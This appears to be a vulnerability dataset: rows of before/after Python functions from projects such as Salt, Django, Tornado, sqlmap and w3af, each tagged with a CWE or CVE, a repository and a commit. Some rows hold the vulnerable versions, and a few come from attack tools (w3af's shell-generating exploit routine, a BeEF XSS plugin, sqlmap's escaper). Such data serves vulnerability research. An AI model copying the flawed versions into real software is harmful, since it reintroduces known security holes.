        :ref:`Authenticate  <rest_cherrypy-auth>` against Salt's eauth system

        .. http:post:: /login

            :reqheader X-Auth-Token: |req_token|
            :reqheader Accept: |req_accept|
            :reqheader Content-Type: |req_ct|

            :form eauth: the eauth backend configured for the user
            :form username: username
            :form password: password

            :status 200: |200|
            :status 401: |401|
            :status 406: |406|

        **Example request:**

        .. code-block:: bash

            curl -si localhost:8000/login \\
                    -H ""Accept: application/json"" \\
                    -d username='saltuser' \\
                    -d password='saltpass' \\
                    -d eauth='pam'

        .. code-block:: http

            POST / HTTP/1.1
            Host: localhost:8000
            Content-Length: 42
            Content-Type: application/x-www-form-urlencoded
            Accept: application/json

            username=saltuser&password=saltpass&eauth=pam

        **Example response:**

        .. code-block:: http

            HTTP/1.1 200 OK
            Content-Type: application/json
            Content-Length: 206
            X-Auth-Token: 6d1b722e
            Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

            {""return"": {
                ""token"": ""6d1b722e"",
                ""start"": 1363805943.776223,
                ""expire"": 1363849143.776224,
                ""user"": ""saltuser"",
                ""eauth"": ""pam"",
                ""perms"": [
                    ""grains.*"",
                    ""status.*"",
                    ""sys.*"",
                    ""test.*""
                ]
            }}
        '''
        if not self.api._is_master_running():
            raise salt.exceptions.SaltDaemonNotRunning(
                'Salt Master is not available.')

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        # Check client acl for the api.
        failure_str = (""[client_acl] Authentication failed for ""
                       ""user {0} from IP {1}"")
        success_str = (""[client_acl] Authentication sucessful for ""
                       ""user {0} from IP {1}"")
        user = creds.get('username', '')
        ip = cherrypy.request.remote.ip
        if not salt_client_acl_tool(user, ip):
            logger.debug(failure_str.format(user, ip))
            raise cherrypy.HTTPError(401, failure_str.format(user, ip))
        else:
            logger.debug(success_str.format(user, ip))

        token = self.auth.mk_token(creds)
        if 'token' not in token:
            raise cherrypy.HTTPError(401,
                    'Could not authenticate using provided credentials')

        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        try:
            eauth = self.opts.get('external_auth', {}).get(token['eauth'], {})

            if 'groups' in token:
                user_groups = set(token['groups'])
                eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')])

                perms = []
                for group in user_groups & eauth_groups:
                    perms.extend(eauth['{0}%'.format(group)])

                perms = perms or None
            else:
                perms = eauth.get(token['name'], eauth.get('*'))

            if perms is None:
                raise ValueError(""Eauth permission list not found."")
        except (AttributeError, IndexError, KeyError, ValueError):
            logger.debug(""Configuration for external_auth malformed for ""
                ""eauth '{0}', and user '{1}'.""
                .format(token.get('eauth'), token.get('name')), exc_info=True)
            raise cherrypy.HTTPError(500,
                'Configuration for external_auth could not be read.')

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}",CWE-259,saltstack/salt,08a5f984a3b2e52f3f069179f8d018095404370f,"def POST(self, **kwargs):
        '''
        :ref:`Authenticate  <rest_cherrypy-auth>` against Salt's eauth system

        .. http:post:: /login

            :reqheader X-Auth-Token: |req_token|
            :reqheader Accept: |req_accept|
            :reqheader Content-Type: |req_ct|

            :form eauth: the eauth backend configured for the user
            :form username: username
            :form password: password

            :status 200: |200|
            :status 401: |401|
            :status 406: |406|

        **Example request:**

        .. code-block:: bash

            curl -si localhost:8000/login \\
                    -H ""Accept: application/json"" \\
                    -d username='saltuser' \\
                    -d password='saltpass' \\
                    -d eauth='pam'

        .. code-block:: http

            POST / HTTP/1.1
            Host: localhost:8000
            Content-Length: 42
            Content-Type: application/x-www-form-urlencoded
            Accept: application/json

            username=saltuser&password=saltpass&eauth=pam

        **Example response:**

        .. code-block:: http

            HTTP/1.1 200 OK
            Content-Type: application/json
            Content-Length: 206
            X-Auth-Token: 6d1b722e
            Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

            {""return"": {
                ""token"": ""6d1b722e"",
                ""start"": 1363805943.776223,
                ""expire"": 1363849143.776224,
                ""user"": ""saltuser"",
                ""eauth"": ""pam"",
                ""perms"": [
                    ""grains.*"",
                    ""status.*"",
                    ""sys.*"",
                    ""test.*""
                ]
            }}
        '''
        if not self.api._is_master_running():
            raise salt.exceptions.SaltDaemonNotRunning(
                'Salt Master is not available.')

        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        # Check client acl for the api.
        failure_str = (""[client_acl] Authentication failed for ""
                       ""user {0} from IP {1}"")
        success_str = (""[client_acl] Authentication sucessful for ""
                       ""user {0} from IP {1}"")
        user = creds['username']
        ip = cherrypy.request.remote.ip
        if not salt_client_acl_tool(user, ip):
            logger.debug(failure_str.format(user, ip))
            raise cherrypy.HTTPError(401, failure_str.format(user, ip))
        else:
            logger.debug(success_str.format(user, ip))

        token = self.auth.mk_token(creds)
        if 'token' not in token:
            raise cherrypy.HTTPError(401,
                    'Could not authenticate using provided credentials')

        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        try:
            eauth = self.opts.get('external_auth', {}).get(token['eauth'], {})

            if 'groups' in token:
                user_groups = set(token['groups'])
                eauth_groups = set([i.rstrip('%') for i in eauth.keys() if i.endswith('%')])

                perms = []
                for group in user_groups & eauth_groups:
                    perms.extend(eauth['{0}%'.format(group)])

                perms = perms or None
            else:
                perms = eauth.get(token['name'], eauth.get('*'))

            if perms is None:
                raise ValueError(""Eauth permission list not found."")
        except (AttributeError, IndexError, KeyError, ValueError):
            logger.debug(""Configuration for external_auth malformed for ""
                ""eauth '{0}', and user '{1}'.""
                .format(token.get('eauth'), token.get('name')), exc_info=True)
            raise cherrypy.HTTPError(500,
                'Configuration for external_auth could not be read.')

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/test_signals.py,1,"def test_login(self):
        # Only a successful login will trigger the success signal.
        self.client.login(username='testclient', password='bad')
        self.assertEqual(len(self.logged_in), 0)
        self.assertEqual(len(self.login_failed), 1)
        self.assertEqual(self.login_failed[0]['username'], 'testclient')
        # verify the password is cleansed
        self.assertIn('***', self.login_failed[0]['password'])

        # Like this:
        self.client.login(username='testclient', password='password')
        self.assertEqual(len(self.logged_in), 1)
        self.assertEqual(self.logged_in[0].username, 'testclient')

        # Ensure there were no more failures.
        self.assertEqual(len(self.login_failed), 1)",CWE-259,django/django,f7969b0920c403118656f6bfec58d6454d79ef1a,"def test_login(self):
        # Only a successful login will trigger the success signal.
        self.client.login(username='testclient', password='bad')
        self.assertEqual(len(self.logged_in), 0)
        self.assertEqual(len(self.login_failed), 1)
        self.assertEqual(self.login_failed[0]['username'], 'testclient')
        # verify the password is cleansed
        self.assertTrue('***' in self.login_failed[0]['password'])

        # Like this:
        self.client.login(username='testclient', password='password')
        self.assertEqual(len(self.logged_in), 1)
        self.assertEqual(self.logged_in[0].username, 'testclient')

        # Ensure there were no more failures.
        self.assertEqual(len(self.login_failed), 1)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/sensors/test_external_task_sensor.py,0,"def run_tasks(dag_bag, execution_date=DEFAULT_DATE, session=None):
    """"""
    Run all tasks in the DAGs in the given dag_bag. Return the TaskInstance objects as a dict
    keyed by task_id.
    """"""
    tis = {}

    for dag in dag_bag.dags.values():
        dagrun = dag.create_dagrun(
            state=State.RUNNING,
            execution_date=execution_date,
            start_date=execution_date,
            run_type=DagRunType.MANUAL,
            session=session,
        )
        for ti in dagrun.task_instances:
            ti.refresh_from_task(dag.get_task(ti.task_id))
            tis[ti.task_id] = ti
            ti.run(session=session)
            session.flush()
            session.merge(ti)
            assert_ti_state_equal(ti, State.SUCCESS)

    return tis",CWE-Unknown,apache/airflow,b70fded4a5e1ef65a9a2497b50dd2e2c7e128daf,"def run_tasks(dag_bag, execution_date=DEFAULT_DATE, session=None):
    """"""
    Run all tasks in the DAGs in the given dag_bag. Return the TaskInstance objects as a dict
    keyed by task_id.
    """"""
    tis = {}

    for dag in dag_bag.dags.values():
        dagrun = dag.create_dagrun(
            state=State.RUNNING,
            execution_date=execution_date,
            start_date=execution_date,
            run_type=DagRunType.MANUAL,
            session=session,
        )
        for ti in dagrun.task_instances:
            ti.refresh_from_task(dag.get_task(ti.task_id))
            tis[ti.task_id] = ti
            ti.run(session=session)
            assert_ti_state_equal(ti, State.SUCCESS)

    return tis"
,UNKNOWN,UNKNOWN,providers/git/tests/unit/git/bundles/test_git.py,1,"def test_refresh_with_git_connection(self, mock_gitRepo):
        bundle = GitDagBundle(
            name=""test"",
            git_conn_id=""git_default"",
            tracking_ref=GIT_DEFAULT_BRANCH,
        )
        bundle.initialize()
        assert mock_gitRepo.return_value.remotes.origin.fetch.call_count == 2  # 1 in bare, 1 in main repo
        mock_gitRepo.return_value.remotes.origin.fetch.reset_mock()
        bundle.refresh()
        assert mock_gitRepo.return_value.remotes.origin.fetch.call_count == 2",CWE-703,apache/airflow,513bba7a6595cac9d47074a784c0b71d5414cb11,"def test_refresh_with_git_connection(self, mock_gitRepo):
        bundle = GitDagBundle(
            name=""test"",
            git_conn_id=""git_default"",
            tracking_ref=GIT_DEFAULT_BRANCH,
        )
        bundle.initialize()
        assert mock_gitRepo.return_value.remotes.origin.fetch.call_count == 2  # 1 in bare, 1 in main repo
        mock_gitRepo.return_value.remotes.origin.fetch.reset_mock()
        bundle.refresh()
        assert mock_gitRepo.return_value.remotes.origin.fetch.call_count == 2"
,UNKNOWN,UNKNOWN,tests/test_utils.py,1,"def test_bad_utf_like_encoding(self):
        assert guess_json_utf(b'\x00\x00\x00\x00') is None",CWE-703,psf/requests,b9d282b6b7c225fb7bb1ac8a8ffde81dae22bf45,"def test_bad_utf_like_encoding(self):
        assert guess_json_utf(b'\x00\x00\x00\x00') is None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def write(self, chunk):
        """"""Writes the given chunk to the output buffer.

        To write the output to the network, use the flush() method below.

        If the given chunk is a dictionary, we write it as JSON and set
        the Content-Type of the response to be ``application/json``.
        (if you want to send JSON as a different ``Content-Type``, call
        set_header *after* calling write()).

        Note that lists are not converted to JSON because of a potential
        cross-site security vulnerability.  All JSON output should be
        wrapped in a dictionary.  More details at
        http://haacked.com/archive/2008/11/20/anatomy-of-a-subtle-json-vulnerability.aspx
        """"""
        if self._finished:
            raise RuntimeError(""Cannot write() after finish().  May be caused ""
                               ""by using async operations without the ""
                               ""@asynchronous decorator."")
        if not isinstance(chunk, (bytes_type, unicode_type, dict)):
            raise TypeError(""write() only accepts bytes, unicode, and dict objects"")
        if isinstance(chunk, dict):
            chunk = escape.json_encode(chunk)
            self.set_header(""Content-Type"", ""application/json; charset=UTF-8"")
        chunk = utf8(chunk)
        self._write_buffer.append(chunk)",CWE-Unknown,tornadoweb/tornado,b1ff5391d8adcb69c8cd56bb27dfb5b2715d6c34,"def write(self, chunk):
        """"""Writes the given chunk to the output buffer.

        To write the output to the network, use the flush() method below.

        If the given chunk is a dictionary, we write it as JSON and set
        the Content-Type of the response to be ``application/json``.
        (if you want to send JSON as a different ``Content-Type``, call
        set_header *after* calling write()).

        Note that lists are not converted to JSON because of a potential
        cross-site security vulnerability.  All JSON output should be
        wrapped in a dictionary.  More details at
        http://haacked.com/archive/2008/11/20/anatomy-of-a-subtle-json-vulnerability.aspx
        """"""
        if self._finished:
            raise RuntimeError(""Cannot write() after finish().  May be caused ""
                               ""by using async operations without the ""
                               ""@asynchronous decorator."")
        if isinstance(chunk, dict):
            chunk = escape.json_encode(chunk)
            self.set_header(""Content-Type"", ""application/json; charset=UTF-8"")
        chunk = utf8(chunk)
        self._write_buffer.append(chunk)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/monetdb/syntax.py,0,"def escaper(value):
            return ""||"".join(""CODE(%d)"" % _ for _ in getOrds(value))",,sqlmapproject/sqlmap,ef59a365f46b4b6e480e00c321f574297450a639,"def escaper(value):
            return ""||"".join(""CODE(%d)"" % _ for _ in getOrds(value))"
,UNKNOWN,UNKNOWN,tests/test_mlflow_lazily_imports_ml_packages.py,1,"def test_mlflow_lazily_import_ml_packages():
    ml_packages = {
        ""catboost"",
        ""fastai"",
        ""gluon"",
        ""h2o"",
        ""keras"",
        ""lightgbm"",
        ""mleap"",
        ""onnx"",
        ""pytorch_lightning"",
        ""pyspark"",
        ""shap"",
        ""sklearn"",
        ""spacy"",
        ""statsmodels"",
        ""tensorflow"",
        ""torch"",
        ""xgboost"",
    }

    # Ensure ML packages are not loaded before importing mlflow
    assert _get_loaded_packages().intersection(ml_packages) == set()

    import mlflow  # pylint: disable=unused-import

    # Ensure ML packages are not loaded after importing mlflow
    assert _get_loaded_packages().intersection(ml_packages) == set()",CWE-703,mlflow/mlflow,289fd053c11388b4b83569caad00fe92262779d9,"def test_mlflow_lazily_import_ml_packages():
    ml_packages = {
        ""catboost"",
        ""fastai"",
        ""gluon"",
        ""h2o"",
        ""keras"",
        ""lightgbm"",
        ""mleap"",
        ""onnx"",
        ""pytorch_lightning"",
        ""pyspark"",
        ""shap"",
        ""sklearn"",
        ""spacy"",
        ""statsmodels"",
        ""tensorflow"",
        ""torch"",
        ""xgboost"",
    }

    # Ensure ML packages are not loaded before importing mlflow
    assert _get_loaded_packages().intersection(ml_packages) == set()

    import mlflow  # pylint: disable=unused-variable

    # Ensure ML packages are not loaded after importing mlflow
    assert _get_loaded_packages().intersection(ml_packages) == set()"
,UNKNOWN,UNKNOWN,tests/pytests/integration/states/test_file.py,1,"def test_recurse_keep_symlinks_in_fileserver_root(
    salt_master,
    salt_call_cli,
    pillar_tree,
    tmp_path,
    salt_minion,
):
    target_path = tmp_path / ""test_recurse""

    sls_name = ""file_recurse_test""
    sls_contents = """"""
    tmp_recurse_dir_dir:
      file.recurse:
        - name: {target_path}
        - source: salt://tmp_dir/
        - keep_symlinks: True
    """""".format(
        target_path=target_path
    )

    test_tempdir = salt_master.state_tree.base.paths[0] / ""tmp_dir""
    test_tempdir.mkdir(parents=True, exist_ok=True)
    sls_tempfile = salt_master.state_tree.base.temp_file(
        ""{}.sls"".format(sls_name), sls_contents
    )

    with sls_tempfile, test_tempdir:
        for _dir in ""test1"", ""test2"", ""test3"":
            test_tempdir.joinpath(_dir).mkdir(parents=True, exist_ok=True)

            for _file in range(1, 4):
                test_tempdir.joinpath(_dir, str(_file)).touch()

        cwd = os.getcwd()
        os.chdir(str(test_tempdir))
        pathlib.Path(""test"").symlink_to(""test3"", target_is_directory=True)
        os.chdir(str(cwd))

        ret = salt_call_cli.run(""state.apply"", sls_name)
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True

        # Check to make sure the directories and files were created
        for _dir in ""test1"", ""test2"", ""test3"":
            assert target_path.joinpath(_dir).is_dir()
            for _file in range(1, 4):
                assert target_path.joinpath(_dir, str(_file)).is_file()

        assert target_path.joinpath(""test"").is_symlink()",CWE-703,saltstack/salt,488ed4c6b30237ff3cb1e427c4e1dfc662cc8772,"def test_recurse_keep_symlinks_in_fileserver_root(
    salt_master,
    salt_call_cli,
    pillar_tree,
    tmp_path,
    salt_minion,
):
    target_path = tmp_path / ""test_recurse""

    sls_name = ""file_recurse_test""
    sls_contents = """"""
    tmp_recurse_dir_dir:
      file.recurse:
        - name: {target_path}
        - source: salt://tmp_dir/
        - keep_symlinks: True
    """""".format(
        target_path=target_path
    )

    test_tempdir = salt_master.state_tree.base.paths[0] / ""tmp_dir""
    test_tempdir.mkdir(parents=True, exist_ok=True)
    sls_tempfile = salt_master.state_tree.base.temp_file(
        ""{}.sls"".format(sls_name), sls_contents
    )

    with sls_tempfile, test_tempdir:
        for _dir in ""test1"", ""test2"", ""test3"":
            test_tempdir.joinpath(_dir).mkdir(parents=True, exist_ok=True)

            for _file in range(1, 4):
                test_tempdir.joinpath(_dir, str(_file)).touch()

        cwd = os.getcwd()
        os.chdir(test_tempdir)
        pathlib.Path(""test"").symlink_to(""test3"", target_is_directory=True)
        os.chdir(cwd)

        ret = salt_call_cli.run(""state.apply"", sls_name)
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True

        # Check to make sure the directories and files were created
        for _dir in ""test1"", ""test2"", ""test3"":
            assert target_path.joinpath(_dir).is_dir()
            for _file in range(1, 4):
                assert target_path.joinpath(_dir, str(_file)).is_file()

        assert target_path.joinpath(""test"").is_symlink()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/basePlugin/baseAttackPlugin.py,0,"def exploit( self, vulnToExploit=None):
        '''
        Exploits a vuln that was found and stored in the kb.
        
        @parameter vulnToExploit: The vulnerability id to exploit
        @return: A list of shells of proxies generated by the exploitation phase
        '''
        om.out.information( self.getName() + ' exploit plugin is starting.' )
        if not self.canExploit():
            raise w3afException('No '+ self.getVulnName2Exploit() + ' vulnerabilities have been found.')

        for vuln in self.getExploitableVulns():
            
            if vulnToExploit is not None:
                if vulnToExploit != vuln.getId():
                    continue
                
            #
            #   A couple of minor verifications before continuing to exploit a vulnerability
            #                
            if not isinstance( vuln.getURL(), url_object):
                msg = '%s plugin can NOT exploit vulnerability with id ""%s"" as it doesn\'t have an URL.'
                om.out.debug( msg % (self.getName(), vuln.getId()) )
                continue

            if not isinstance( vuln.getMethod(), basestring):
                msg = '%s plugin can NOT exploit vulnerability with id ""%s"" as it doesn\'t have an HTTP method.'
                om.out.debug( msg % (self.getName(), vuln.getId()) )
                continue
                    
            # Try to get a shell using a vuln
            s = self._generateShell(vuln)
            if s is not None:
                kb.kb.append( self, 'shell', s )
                om.out.console('Vulnerability successfully exploited. Generated shell object %s' % s)
                if self._generateOnlyOne:
                    # A shell was generated, I only need one point of exec.
                    return [s,]
                else:
                    # Keep adding all shells to the kb
                    # this is done 5 lines before this comment
                    pass
        
        return kb.kb.getData( self.getName(), 'shell' )",,andresriancho/w3af,8fe8609d33ec04b05d2efb68587be014ee75eef3,"def exploit( self, vulnToExploit=None):
        '''
        Exploits a vuln that was found and stored in the kb.
        
        @parameter vulnToExploit: The vulnerability id to exploit
        @return: A list of shells of proxies generated by the exploitation phase
        '''
        om.out.information( self.getName() + ' exploit plugin is starting.' )
        if not self.canExploit():
            raise w3afException('No '+ self.getVulnName2Exploit() + ' vulnerabilities have been found.')

        for vuln in self.getExploitableVulns():
            
            if vulnToExploit is not None:
                if vulnToExploit != vuln.getId():
                    continue
                
            #
            #   A couple of minor verifications before continuing to exploit a vulnerability
            #                
            if not isinstance( vuln.getURL(), url_object):
                msg = '%s plugin can NOT exploit vulnerability with id ""%s"" as it doesn\'t have an URL.'
                om.out.debug( msg % (self.getName(), vuln.getId()) )
                continue

            if not isinstance( vuln.getMethod(), basestring):
                msg = '%s plugin can NOT exploit vulnerability with id ""%s"" as it doesn\'t have an HTTP method.'
                om.out.debug( msg % (self.getName(), vuln.getId()) )
                continue
                    
            # Try to get a shell using a vuln
            s = self._generateShell(vuln)
            if s is not None:
                kb.kb.append( self, 'shell', s )
                if self._generateOnlyOne:
                    # A shell was generated, I only need one point of exec.
                    return [s,]
                else:
                    # Keep adding all shells to the kb
                    # this is done 5 lines before this comment
                    pass
        
        return kb.kb.getData( self.getName(), 'shell' )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/xssBeef.py,0,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A map with the options for the plugin.
        @return: No value is returned.
        ''' 
        self._beefURL = url_object( optionsMap['beefURL'].getValue() )
        self._beefPasswd = optionsMap['beefPasswd'].getValue()

        if self._beefPasswd == '':
            om.out.error('You have to provide a beEF password to use this plugin.')
            return False",,andresriancho/w3af,1dc2c51283c6ac4a2a15b005708b81bd184ad2c3,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A map with the options for the plugin.
        @return: No value is returned.
        ''' 
        self._beefURL = optionsMap['beefURL'].getValue()
        self._beefPasswd = optionsMap['beefPasswd'].getValue()

        if self._beefPasswd == '':
            om.out.error('You have to provide a beEF password to use this plugin.')
            return False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/wsgi.py,0,"def __init__(self, environ):
        """"""Parses the given WSGI environ to construct the request.""""""
        self.method = environ[""REQUEST_METHOD""]
        self.path = urllib.quote(environ.get(""SCRIPT_NAME"", """"))
        self.path += urllib.quote(environ.get(""PATH_INFO"", """"))
        self.uri = self.path
        self.arguments = {}
        self.query = environ.get(""QUERY_STRING"", """")
        if self.query:
            self.uri += ""?"" + self.query
            arguments = cgi.parse_qs(self.query)
            for name, values in arguments.iteritems():
                values = [v for v in values if v]
                if values: self.arguments[name] = values
        self.version = ""HTTP/1.1""
        self.headers = httputil.HTTPHeaders()
        if environ.get(""CONTENT_TYPE""):
            self.headers[""Content-Type""] = environ[""CONTENT_TYPE""]
        if environ.get(""CONTENT_LENGTH""):
            self.headers[""Content-Length""] = int(environ[""CONTENT_LENGTH""])
        for key in environ:
            if key.startswith(""HTTP_""):
                self.headers[key[5:].replace(""_"", ""-"")] = environ[key]
        if self.headers.get(""Content-Length""):
            self.body = environ[""wsgi.input""].read(
                self.headers[""Content-Length""])
        else:
            self.body = """"
        self.protocol = environ[""wsgi.url_scheme""]
        self.remote_ip = environ.get(""REMOTE_ADDR"", """")
        if environ.get(""HTTP_HOST""):
            self.host = environ[""HTTP_HOST""]
        else:
            self.host = environ[""SERVER_NAME""]

        # Parse request body
        self.files = {}
        content_type = self.headers.get(""Content-Type"", """")
        if content_type.startswith(""application/x-www-form-urlencoded""):
            for name, values in cgi.parse_qs(self.body).iteritems():
                self.arguments.setdefault(name, []).extend(values)
        elif content_type.startswith(""multipart/form-data""):
            if 'boundary=' in content_type:
                boundary = content_type.split('boundary=',1)[1]
                if boundary: self._parse_mime_body(boundary)
            else:
                logging.warning(""Invalid multipart/form-data"")

        self._start_time = time.time()
        self._finish_time = None",CWE-Unknown,tornadoweb/tornado,2f4835a34b3e1fcc89c55fc6242f6145bb2d39dd,"def __init__(self, environ):
        """"""Parses the given WSGI environ to construct the request.""""""
        self.method = environ[""REQUEST_METHOD""]
        self.path = urllib.quote(environ.get(""SCRIPT_NAME"", """"))
        self.path += urllib.quote(environ.get(""PATH_INFO"", """"))
        self.uri = self.path
        self.arguments = {}
        self.query = environ.get(""QUERY_STRING"", """")
        if self.query:
            self.uri += ""?"" + self.query
            arguments = cgi.parse_qs(self.query)
            for name, values in arguments.iteritems():
                values = [v for v in values if v]
                if values: self.arguments[name] = values
        self.version = ""HTTP/1.1""
        self.headers = httputil.HTTPHeaders()
        if environ.get(""CONTENT_TYPE""):
            self.headers[""Content-Type""] = environ[""CONTENT_TYPE""]
        if environ.get(""CONTENT_LENGTH""):
            self.headers[""Content-Length""] = int(environ[""CONTENT_LENGTH""])
        for key in environ:
            if key.startswith(""HTTP_""):
                self.headers[key[5:].replace(""_"", ""-"")] = environ[key]
        if self.headers.get(""Content-Length""):
            self.body = environ[""wsgi.input""].read()
        else:
            self.body = """"
        self.protocol = environ[""wsgi.url_scheme""]
        self.remote_ip = environ.get(""REMOTE_ADDR"", """")
        if environ.get(""HTTP_HOST""):
            self.host = environ[""HTTP_HOST""]
        else:
            self.host = environ[""SERVER_NAME""]

        # Parse request body
        self.files = {}
        content_type = self.headers.get(""Content-Type"", """")
        if content_type.startswith(""application/x-www-form-urlencoded""):
            for name, values in cgi.parse_qs(self.body).iteritems():
                self.arguments.setdefault(name, []).extend(values)
        elif content_type.startswith(""multipart/form-data""):
            if 'boundary=' in content_type:
                boundary = content_type.split('boundary=',1)[1]
                if boundary: self._parse_mime_body(boundary)
            else:
                logging.warning(""Invalid multipart/form-data"")

        self._start_time = time.time()
        self._finish_time = None"
,UNKNOWN,UNKNOWN,tests/schema/tests.py,1,"def test_alter_serial_auto_field_to_bigautofield(self):
        class SerialAutoField(Model):
            id = SmallAutoField(primary_key=True)

            class Meta:
                app_label = ""schema""

        table = SerialAutoField._meta.db_table
        column = SerialAutoField._meta.get_field(""id"").column
        with connection.cursor() as cursor:
            cursor.execute(
                f'CREATE TABLE ""{table}"" '
                f'(""{column}"" smallserial NOT NULL PRIMARY KEY)'
            )
        try:
            old_field = SerialAutoField._meta.get_field(""id"")
            new_field = BigAutoField(primary_key=True)
            new_field.model = SerialAutoField
            new_field.set_attributes_from_name(""id"")
            with connection.schema_editor() as editor:
                editor.alter_field(SerialAutoField, old_field, new_field, strict=True)
            sequence_name = f""{table}_{column}_seq""
            with connection.cursor() as cursor:
                cursor.execute(
                    ""SELECT data_type FROM pg_sequences WHERE sequencename = %s"",
                    [sequence_name],
                )
                row = cursor.fetchone()
                sequence_data_type = row[0] if row and row[0] else None
                self.assertEqual(sequence_data_type, ""bigint"")
            # Rename the column.
            old_field = new_field
            new_field = AutoField(primary_key=True)
            new_field.model = SerialAutoField
            new_field.set_attributes_from_name(""renamed_id"")
            with connection.schema_editor() as editor:
                editor.alter_field(SerialAutoField, old_field, new_field, strict=True)
            with connection.cursor() as cursor:
                cursor.execute(
                    ""SELECT data_type FROM pg_sequences WHERE sequencename = %s"",
                    [sequence_name],
                )
                row = cursor.fetchone()
                sequence_data_type = row[0] if row and row[0] else None
                self.assertEqual(sequence_data_type, ""integer"")
        finally:
            with connection.cursor() as cursor:
                cursor.execute(f'DROP TABLE ""{table}""')",CWE-89,django/django,96c541ecef98e2b93db8eba144be2d8c48e6c2cf,"def test_alter_serial_auto_field_to_bigautofield(self):
        class SerialAutoField(Model):
            id = SmallAutoField(primary_key=True)

            class Meta:
                app_label = ""schema""

        table = SerialAutoField._meta.db_table
        column = SerialAutoField._meta.get_field(""id"").column
        with connection.cursor() as cursor:
            cursor.execute(
                f'CREATE TABLE ""{table}"" '
                f'(""{column}"" smallserial NOT NULL PRIMARY KEY)'
            )
        try:
            old_field = SerialAutoField._meta.get_field(""id"")
            new_field = BigAutoField(primary_key=True)
            new_field.model = SerialAutoField
            new_field.set_attributes_from_name(""id"")
            with connection.schema_editor() as editor:
                editor.alter_field(SerialAutoField, old_field, new_field, strict=True)
            with connection.cursor() as cursor:
                cursor.execute(
                    ""SELECT data_type FROM pg_sequences WHERE sequencename = %s"",
                    [f""{table}_{column}_seq""],
                )
                row = cursor.fetchone()
                sequence_data_type = row[0] if row and row[0] else None
                self.assertEqual(sequence_data_type, ""bigint"")
        finally:
            with connection.cursor() as cursor:
                cursor.execute(f'DROP TABLE ""{table}""')"
,CVE-2017-12794,UNKNOWN,tests/view_tests/tests/test_debug.py,1,"def test_reporting_of_nested_exceptions(self):
        request = self.rf.get('/test_view/')
        try:
            try:
                raise AttributeError(mark_safe('<p>Top level</p>'))
            except AttributeError as explicit:
                try:
                    raise ValueError(mark_safe('<p>Second exception</p>')) from explicit
                except ValueError:
                    raise IndexError(mark_safe('<p>Final exception</p>'))
        except Exception:
            # Custom exception handler, just pass it into ExceptionReporter
            exc_type, exc_value, tb = sys.exc_info()

        explicit_exc = 'The above exception ({0}) was the direct cause of the following exception:'
        implicit_exc = 'During handling of the above exception ({0}), another exception occurred:'

        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        # Both messages are twice on page -- one rendered as html,
        # one as plain text (for pastebin)
        self.assertEqual(2, html.count(explicit_exc.format('&lt;p&gt;Top level&lt;/p&gt;')))
        self.assertEqual(2, html.count(implicit_exc.format('&lt;p&gt;Second exception&lt;/p&gt;')))
        self.assertEqual(10, html.count('&lt;p&gt;Final exception&lt;/p&gt;'))

        text = reporter.get_traceback_text()
        self.assertIn(explicit_exc.format('<p>Top level</p>'), text)
        self.assertIn(implicit_exc.format('<p>Second exception</p>'), text)
        self.assertEqual(3, text.count('<p>Final exception</p>'))",CWE-79,django/django,46e2b9e059e617afe6fe56da9f132568a7e6b198,"def test_reporting_of_nested_exceptions(self):
        request = self.rf.get('/test_view/')
        try:
            try:
                raise AttributeError('Top level')
            except AttributeError as explicit:
                try:
                    raise ValueError('Second exception') from explicit
                except ValueError:
                    raise IndexError(mark_safe('<p>Final exception</p>'))
        except Exception:
            # Custom exception handler, just pass it into ExceptionReporter
            exc_type, exc_value, tb = sys.exc_info()

        explicit_exc = 'The above exception ({0}) was the direct cause of the following exception:'
        implicit_exc = 'During handling of the above exception ({0}), another exception occurred:'

        reporter = ExceptionReporter(request, exc_type, exc_value, tb)
        html = reporter.get_traceback_html()
        # Both messages are twice on page -- one rendered as html,
        # one as plain text (for pastebin)
        self.assertEqual(2, html.count(explicit_exc.format(""Top level"")))
        self.assertEqual(2, html.count(implicit_exc.format(""Second exception"")))
        self.assertEqual(10, html.count('&lt;p&gt;Final exception&lt;/p&gt;'))

        text = reporter.get_traceback_text()
        self.assertIn(explicit_exc.format(""Top level""), text)
        self.assertIn(implicit_exc.format(""Second exception""), text)
        self.assertEqual(3, text.count('<p>Final exception</p>'))"
